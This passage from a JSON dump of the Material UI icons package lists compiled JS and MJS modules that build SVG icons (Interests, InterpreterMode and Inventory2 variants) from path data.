    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.02 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M19 19h-4v-4h4zM7 6.12 8.6 9H5.4zm10 2.23c-1.45-1.22-3-2.4-3-3.1 0-.43.35-.75.75-.75.31 0 .52.17.73.37L17 6.3l1.52-1.43c.21-.2.42-.37.73-.37.4 0 .75.32.75.75 0 .7-1.55 1.88-3 3.1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.02 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M13 13v8h8v-8zm6 6h-4v-4h4zM7 2l-5 9h10zm0 4.12L8.6 9H5.4zM19.25 2.5c-1.06 0-1.81.56-2.25 1.17-.44-.61-1.19-1.17-2.25-1.17C13.19 2.5 12 3.78 12 5.25c0 2 2.42 3.42 5 5.75 2.58-2.33 5-3.75 5-5.75 0-1.47-1.19-2.75-2.75-2.75M17 8.35c-1.45-1.22-3-2.4-3-3.1 0-.43.35-.75.75-.75.31 0 .52.17.73.37L17 6.3l1.52-1.43c.21-.2.42-.37.73-.37.4 0 .75.32.75.75 0 .7-1.55 1.88-3 3.1\"\n}, \"1\")], 'InterestsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterestsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.02 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M19 19h-4v-4h4zM7 6.12 8.6 9H5.4zm10 2.23c-1.45-1.22-3-2.4-3-3.1 0-.43.35-.75.75-.75.31 0 .52.17.73.37L17 6.3l1.52-1.43c.21-.2.42-.37.73-.37.4 0 .75.32.75.75 0 .7-1.55 1.88-3 3.1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.02 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M13 13v8h8v-8zm6 6h-4v-4h4zM7 2l-5 9h10zm0 4.12L8.6 9H5.4zM19.25 2.5c-1.06 0-1.81.56-2.25 1.17-.44-.61-1.19-1.17-2.25-1.17C13.19 2.5 12 3.78 12 5.25c0 2 2.42 3.42 5 5.75 2.58-2.33 5-3.75 5-5.75 0-1.47-1.19-2.75-2.75-2.75M17 8.35c-1.45-1.22-3-2.4-3-3.1 0-.43.35-.75.75-.75.31 0 .52.17.73.37L17 6.3l1.52-1.43c.21-.2.42-.37.73-.37.4 0 .75.32.75.75 0 .7-1.55 1.88-3 3.1\"\n}, \"1\")], 'InterestsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterpreterMode.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 16.5c-.83 0-1.5-.67-1.5-1.5v-2.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V15c0 .83-.67 1.5-1.5 1.5M20 20h1v-1.54c1.69-.24 3-1.7 3-3.46h-1c0 1.38-1.12 2.5-2.5 2.5S18 16.38 18 15h-1c0 1.76 1.31 3.22 3 3.46zM9 12c-2.21 0-4-1.79-4-4s1.79-4 4-4c.47 0 .92.08 1.34.23C9.5 5.26 9 6.57 9 8s.5 2.74 1.34 3.77c-.42.15-.87.23-1.34.23m-1.89 1.13C5.79 14.05 5 15.57 5 17.22V20H1v-2.78c0-1.12.61-2.15 1.61-2.66 1.24-.64 2.76-1.19 4.5-1.43M11 8c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m7.32 12c-1.67-.81-2.82-2.52-2.82-4.5 0-.89.23-1.73.64-2.45-.37-.03-.75-.05-1.14-.05-2.53 0-4.71.7-6.39 1.56-1 .51-1.61 1.54-1.61 2.66V20z\"\n}), 'InterpreterMode');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterpreterMode.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 16.5c-.83 0-1.5-.67-1.5-1.5v-2.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V15c0 .83-.67 1.5-1.5 1.5M20 20h1v-1.54c1.69-.24 3-1.7 3-3.46h-1c0 1.38-1.12 2.5-2.5 2.5S18 16.38 18 15h-1c0 1.76 1.31 3.22 3 3.46zM9 12c-2.21 0-4-1.79-4-4s1.79-4 4-4c.47 0 .92.08 1.34.23C9.5 5.26 9 6.57 9 8s.5 2.74 1.34 3.77c-.42.15-.87.23-1.34.23m-1.89 1.13C5.79 14.05 5 15.57 5 17.22V20H1v-2.78c0-1.12.61-2.15 1.61-2.66 1.24-.64 2.76-1.19 4.5-1.43M11 8c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m7.32 12c-1.67-.81-2.82-2.52-2.82-4.5 0-.89.23-1.73.64-2.45-.37-.03-.75-.05-1.14-.05-2.53 0-4.71.7-6.39 1.56-1 .51-1.61 1.54-1.61 2.66V20z\"\n}), 'InterpreterMode');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterpreterModeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 16.5c-.83 0-1.5-.67-1.5-1.5v-2.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V15c0 .83-.67 1.5-1.5 1.5M20 20h1v-1.54c1.69-.24 3-1.7 3-3.46h-1c0 1.38-1.12 2.5-2.5 2.5S18 16.38 18 15h-1c0 1.76 1.31 3.22 3 3.46zM9 12c-2.21 0-4-1.79-4-4s1.79-4 4-4c.47 0 .92.08 1.34.23C9.5 5.26 9 6.57 9 8s.5 2.74 1.34 3.77c-.42.15-.87.23-1.34.23m-1.89 1.13C5.79 14.05 5 15.57 5 17.22V20H1v-2.78c0-1.12.61-2.15 1.61-2.66 1.24-.64 2.76-1.19 4.5-1.43M11 8c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m2 0c0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2-2 .9-2 2m2 7c-2.37 0-4.29.73-5.48 1.34-.32.16-.52.5-.52.88V18h7.17c.5.86 1.25 1.56 2.15 2H7v-2.78c0-1.12.61-2.15 1.61-2.66C10.29 13.7 12.47 13 15 13c.39 0 .77.02 1.14.05-.33.59-.55 1.26-.62 1.96-.17-.01-.34-.01-.52-.01\"\n}), 'InterpreterModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterpreterModeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 16.5c-.83 0-1.5-.67-1.5-1.5v-2.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V15c0 .83-.67 1.5-1.5 1.5M20 20h1v-1.54c1.69-.24 3-1.7 3-3.46h-1c0 1.38-1.12 2.5-2.5 2.5S18 16.38 18 15h-1c0 1.76 1.31 3.22 3 3.46zM9 12c-2.21 0-4-1.79-4-4s1.79-4 4-4c.47 0 .92.08 1.34.23C9.5 5.26 9 6.57 9 8s.5 2.74 1.34 3.77c-.42.15-.87.23-1.34.23m-1.89 1.13C5.79 14.05 5 15.57 5 17.22V20H1v-2.78c0-1.12.61-2.15 1.61-2.66 1.24-.64 2.76-1.19 4.5-1.43M11 8c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m2 0c0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2-2 .9-2 2m2 7c-2.37 0-4.29.73-5.48 1.34-.32.16-.52.5-.52.88V18h7.17c.5.86 1.25 1.56 2.15 2H7v-2.78c0-1.12.61-2.15 1.61-2.66C10.29 13.7 12.47 13 15 13c.39 0 .77.02 1.14.05-.33.59-.55 1.26-.62 1.96-.17-.01-.34-.01-.52-.01\"\n}), 'InterpreterModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterpreterModeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 16.5c-.83 0-1.5-.67-1.5-1.5v-2.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V15c0 .83-.67 1.5-1.5 1.5m0 3.5c.28 0 .5-.22.5-.5v-1.04c1.51-.22 2.71-1.4 2.95-2.89.05-.3-.19-.57-.49-.57-.24 0-.45.17-.49.41-.2 1.18-1.23 2.09-2.47 2.09s-2.27-.9-2.47-2.09c-.04-.24-.25-.41-.49-.41-.3 0-.54.27-.5.57.25 1.5 1.45 2.68 2.95 2.89v1.04c.01.28.23.5.51.5M9 12c-2.21 0-4-1.79-4-4s1.79-4 4-4c.47 0 .92.08 1.34.23C9.5 5.26 9 6.57 9 8s.5 2.74 1.34 3.77c-.42.15-.87.23-1.34.23m-1.89 1.13C5.79 14.05 5 15.57 5 17.22V20H1v-2.78c0-1.12.61-2.15 1.61-2.66 1.24-.64 2.76-1.19 4.5-1.43M11 8c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m7.32 12c-1.67-.81-2.82-2.52-2.82-4.5 0-.89.23-1.73.64-2.45-.37-.03-.75-.05-1.14-.05-2.53 0-4.71.7-6.39 1.56-1 .51-1.61 1.54-1.61 2.66V20z\"\n}), 'InterpreterModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterpreterModeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 16.5c-.83 0-1.5-.67-1.5-1.5v-2.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V15c0 .83-.67 1.5-1.5 1.5m0 3.5c.28 0 .5-.22.5-.5v-1.04c1.51-.22 2.71-1.4 2.95-2.89.05-.3-.19-.57-.49-.57-.24 0-.45.17-.49.41-.2 1.18-1.23 2.09-2.47 2.09s-2.27-.9-2.47-2.09c-.04-.24-.25-.41-.49-.41-.3 0-.54.27-.5.57.25 1.5 1.45 2.68 2.95 2.89v1.04c.01.28.23.5.51.5M9 12c-2.21 0-4-1.79-4-4s1.79-4 4-4c.47 0 .92.08 1.34.23C9.5 5.26 9 6.57 9 8s.5 2.74 1.34 3.77c-.42.15-.87.23-1.34.23m-1.89 1.13C5.79 14.05 5 15.57 5 17.22V20H1v-2.78c0-1.12.61-2.15 1.61-2.66 1.24-.64 2.76-1.19 4.5-1.43M11 8c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m7.32 12c-1.67-.81-2.82-2.52-2.82-4.5 0-.89.23-1.73.64-2.45-.37-.03-.75-.05-1.14-.05-2.53 0-4.71.7-6.39 1.56-1 .51-1.61 1.54-1.61 2.66V20z\"\n}), 'InterpreterModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterpreterModeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 16.5c-.83 0-1.5-.67-1.5-1.5v-2.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V15c0 .83-.67 1.5-1.5 1.5M20 20h1v-1.54c1.69-.24 3-1.7 3-3.46h-1c0 1.38-1.12 2.5-2.5 2.5S18 16.38 18 15h-1c0 1.76 1.31 3.22 3 3.46zM9 12c-2.21 0-4-1.79-4-4s1.79-4 4-4c.47 0 .92.08 1.34.23C9.5 5.26 9 6.57 9 8s.5 2.74 1.34 3.77c-.42.15-.87.23-1.34.23m-1.89 1.13C5.79 14.05 5 15.57 5 17.22V20H1v-2.78c0-1.12.61-2.15 1.61-2.66 1.24-.64 2.76-1.19 4.5-1.43M11 8c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m7.32 12c-1.67-.81-2.82-2.52-2.82-4.5 0-.89.23-1.73.64-2.45-.37-.03-.75-.05-1.14-.05-2.53 0-4.71.7-6.39 1.56-1 .51-1.61 1.54-1.61 2.66V20z\"\n}), 'InterpreterModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterpreterModeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 16.5c-.83 0-1.5-.67-1.5-1.5v-2.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V15c0 .83-.67 1.5-1.5 1.5M20 20h1v-1.54c1.69-.24 3-1.7 3-3.46h-1c0 1.38-1.12 2.5-2.5 2.5S18 16.38 18 15h-1c0 1.76 1.31 3.22 3 3.46zM9 12c-2.21 0-4-1.79-4-4s1.79-4 4-4c.47 0 .92.08 1.34.23C9.5 5.26 9 6.57 9 8s.5 2.74 1.34 3.77c-.42.15-.87.23-1.34.23m-1.89 1.13C5.79 14.05 5 15.57 5 17.22V20H1v-2.78c0-1.12.61-2.15 1.61-2.66 1.24-.64 2.76-1.19 4.5-1.43M11 8c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m7.32 12c-1.67-.81-2.82-2.52-2.82-4.5 0-.89.23-1.73.64-2.45-.37-.03-.75-.05-1.14-.05-2.53 0-4.71.7-6.39 1.56-1 .51-1.61 1.54-1.61 2.66V20z\"\n}), 'InterpreterModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterpreterModeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.52 15.01C15.35 15 15.18 15 15 15c-2.37 0-4.29.73-5.48 1.34-.32.16-.52.5-.52.88V18h7.17c-.43-.74-.77-1.76-.65-2.99M13 8c0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2-2 .9-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 16.5c-.83 0-1.5-.67-1.5-1.5v-2.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V15c0 .83-.67 1.5-1.5 1.5M20 20h1v-1.54c1.69-.24 3-1.7 3-3.46h-1c0 1.38-1.12 2.5-2.5 2.5S18 16.38 18 15h-1c0 1.76 1.31 3.22 3 3.46zM9 12c-2.21 0-4-1.79-4-4s1.79-4 4-4c.47 0 .92.08 1.34.23C9.5 5.26 9 6.57 9 8s.5 2.74 1.34 3.77c-.42.15-.87.23-1.34.23m-1.89 1.13C5.79 14.05 5 15.57 5 17.22V20H1v-2.78c0-1.12.61-2.15 1.61-2.66 1.24-.64 2.76-1.19 4.5-1.43M11 8c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m2 0c0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2-2 .9-2 2m2 7c-2.37 0-4.29.73-5.48 1.34-.32.16-.52.5-.52.88V18h7.17c.5.86 1.25 1.56 2.15 2H7v-2.78c0-1.12.61-2.15 1.61-2.66C10.29 13.7 12.47 13 15 13c.39 0 .77.02 1.14.05-.33.59-.55 1.26-.62 1.96-.17-.01-.34-.01-.52-.01\"\n}, \"1\")], 'InterpreterModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterpreterModeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.52 15.01C15.35 15 15.18 15 15 15c-2.37 0-4.29.73-5.48 1.34-.32.16-.52.5-.52.88V18h7.17c-.43-.74-.77-1.76-.65-2.99M13 8c0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2-2 .9-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 16.5c-.83 0-1.5-.67-1.5-1.5v-2.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V15c0 .83-.67 1.5-1.5 1.5M20 20h1v-1.54c1.69-.24 3-1.7 3-3.46h-1c0 1.38-1.12 2.5-2.5 2.5S18 16.38 18 15h-1c0 1.76 1.31 3.22 3 3.46zM9 12c-2.21 0-4-1.79-4-4s1.79-4 4-4c.47 0 .92.08 1.34.23C9.5 5.26 9 6.57 9 8s.5 2.74 1.34 3.77c-.42.15-.87.23-1.34.23m-1.89 1.13C5.79 14.05 5 15.57 5 17.22V20H1v-2.78c0-1.12.61-2.15 1.61-2.66 1.24-.64 2.76-1.19 4.5-1.43M11 8c0-2.21 1.79-4 4-4s4 1.79 4 4-1.79 4-4 4-4-1.79-4-4m2 0c0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2-2 .9-2 2m2 7c-2.37 0-4.29.73-5.48 1.34-.32.16-.52.5-.52.88V18h7.17c.5.86 1.25 1.56 2.15 2H7v-2.78c0-1.12.61-2.15 1.61-2.66C10.29 13.7 12.47 13 15 13c.39 0 .77.02 1.14.05-.33.59-.55 1.26-.62 1.96-.17-.01-.34-.01-.52-.01\"\n}, \"1\")], 'InterpreterModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Inventory.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1 0-2 .9-2 2v3.01c0 .72.43 1.34 1 1.69V20c0 1.1 1.1 2 2 2h14c.9 0 2-.9 2-2V8.7c.57-.35 1-.97 1-1.69V4c0-1.1-1-2-2-2m-5 12H9v-2h6zm5-7H4V4l16-.02z\"\n}), 'Inventory');"
  },
  {
    "path": "packages/mui-icons-material/lib/Inventory.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1 0-2 .9-2 2v3.01c0 .72.43 1.34 1 1.69V20c0 1.1 1.1 2 2 2h14c.9 0 2-.9 2-2V8.7c.57-.35 1-.97 1-1.69V4c0-1.1-1-2-2-2m-5 12H9v-2h6zm5-7H4V4l16-.02z\"\n}), 'Inventory');"
  },
  {
    "path": "packages/mui-icons-material/lib/Inventory2.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1 0-2 .9-2 2v3.01c0 .72.43 1.34 1 1.69V20c0 1.1 1.1 2 2 2h14c.9 0 2-.9 2-2V8.7c.57-.35 1-.97 1-1.69V4c0-1.1-1-2-2-2m-5 12H9v-2h6zm5-7H4V4h16z\"\n}), 'Inventory2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Inventory2.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1 0-2 .9-2 2v3.01c0 .72.43 1.34 1 1.69V20c0 1.1 1.1 2 2 2h14c.9 0 2-.9 2-2V8.7c.57-.35 1-.97 1-1.69V4c0-1.1-1-2-2-2m-5 12H9v-2h6zm5-7H4V4h16z\"\n}), 'Inventory2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Inventory2Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1 0-2 .9-2 2v3.01c0 .72.43 1.34 1 1.69V20c0 1.1 1.1 2 2 2h14c.9 0 2-.9 2-2V8.7c.57-.35 1-.97 1-1.69V4c0-1.1-1-2-2-2m-1 18H5V9h14zm1-13H4V4h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12h6v2H9z\"\n}, \"1\")], 'Inventory2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Inventory2Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1 0-2 .9-2 2v3.01c0 .72.43 1.34 1 1.69V20c0 1.1 1.1 2 2 2h14c.9 0 2-.9 2-2V8.7c.57-.35 1-.97 1-1.69V4c0-1.1-1-2-2-2m-1 18H5V9h14zm1-13H4V4h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12h6v2H9z\"\n}, \"1\")], 'Inventory2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Inventory2Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1 0-2 .9-2 2v3.01c0 .72.43 1.34 1 1.69V20c0 1.1 1.1 2 2 2h14c.9 0 2-.9 2-2V8.7c.57-.35 1-.97 1-1.69V4c0-1.1-1-2-2-2m-6 12h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1m6-7H4V4h16z\"\n}), 'Inventory2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Inventory2Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1 0-2 .9-2 2v3.01c0 .72.43 1.34 1 1.69V20c0 1.1 1.1 2 2 2h14c.9 0 2-.9 2-2V8.7c.57-.35 1-.97 1-1.69V4c0-1.1-1-2-2-2m-6 12h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1m6-7H4V4h16z\"\n}), 'Inventory2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Inventory2Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 2v6.7h1V22h18V8.7h1V2zm13 12H9v-2h6zm5-7H4V4h16z\"\n}), 'Inventory2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Inventory2Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 2v6.7h1V22h18V8.7h1V2zm13 12H9v-2h6zm5-7H4V4h16z\"\n}), 'Inventory2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Inventory2TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 7h16V3.98L4 4zm1 13h14V9H5zm4-8h6v2H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1 0-2 .9-2 2v3.01c0 .72.43 1.34 1 1.69V20c0 1.1 1.1 2 2 2h14c.9 0 2-.9 2-2V8.7c.57-.35 1-.97 1-1.69V4c0-1.1-1-2-2-2m-1 18H5V9h14zm1-13H4V4l16-.02z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12h6v2H9z\"\n}, \"2\")], 'Inventory2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Inventory2TwoTone.mjs",
